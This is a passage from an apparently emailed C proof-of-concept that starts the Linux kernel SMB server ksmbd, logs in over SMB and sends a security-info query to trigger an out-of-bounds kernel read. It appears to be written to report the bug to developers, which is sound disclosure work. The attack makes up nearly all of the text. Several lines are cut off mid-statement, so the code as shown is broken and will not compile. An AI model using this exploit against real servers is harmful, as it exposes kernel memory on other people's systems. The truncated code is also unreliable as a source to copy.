    if (nl_mcast_grp > 0)
        setsockopt(nl_sock, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &nl_mcast_grp;

    pthread_t ipc_tid;
    pthread_create(&ipc_tid, NULL, ipc_thread, NULL);

    /* Start ksmbd */
    struct ksmbd_startup_request req; memset(&req, 0, sizeof(req));
    strcpy((char*)req.min_prot,"SMB2_10"); strcpy((char*)req.max_prot,"SMB3_11;
    strcpy((char*)req.netbios_name,"TEST"); strcpy((char*)req.work_group,"WG");
    strcpy((char*)req.server_string,"t");
    req.tcp_port=445; req.ipc_timeout=60; req.file_max=10000;
    req.smb2_max_write=65536; req.smb2_max_read=65536; req.smb2_max_trans=6553;
    req.sub_auth[0]=1; req.sub_auth[1]=2; req.sub_auth[2]=3;
    req.smb2_max_credits=8192; req.max_connections=128;
    nl_send(nl_sock, nl_family_id, KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_STARTI;

    /* Connect to ksmbd */
    int ss = -1;
    for (int i = 0; i < 30; i++) {
        ss = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in sv = {.sin_family=AF_INET, .sin_port=htons(445), .s;
        if (connect(ss, (void*)&sv, sizeof(sv)) == 0) break;
        close(ss); ss = -1; usleep(500000);
    }
    if (ss < 0) { fprintf(stderr, "Cannot connect\n"); return 1; }

    if (negotiate(ss)) goto end;
    if (session_setup(ss)) goto end;
    if (tree_connect(ss)) goto end;
    if (create_file(ss, "testfile.txt")) goto end;

    /* One QUERY_INFO(SecInfo=DACL) is enough; the read is deterministic. */
    printf("[*] Triggering OOB read...\n"); fflush(stdout);
    query_info_sec(ss);
    usleep(500000);

end:
    close(ss); daemon_running = 0; close(nl_sock); sleep(1);
    return 0;}
```


Best,
Xiang
> --
> ChenXiaoSong <[email protected]>
> Chinese Homepage: https://chenxiaosong.com
> English Homepage: https://chenxiaosong.com/en
>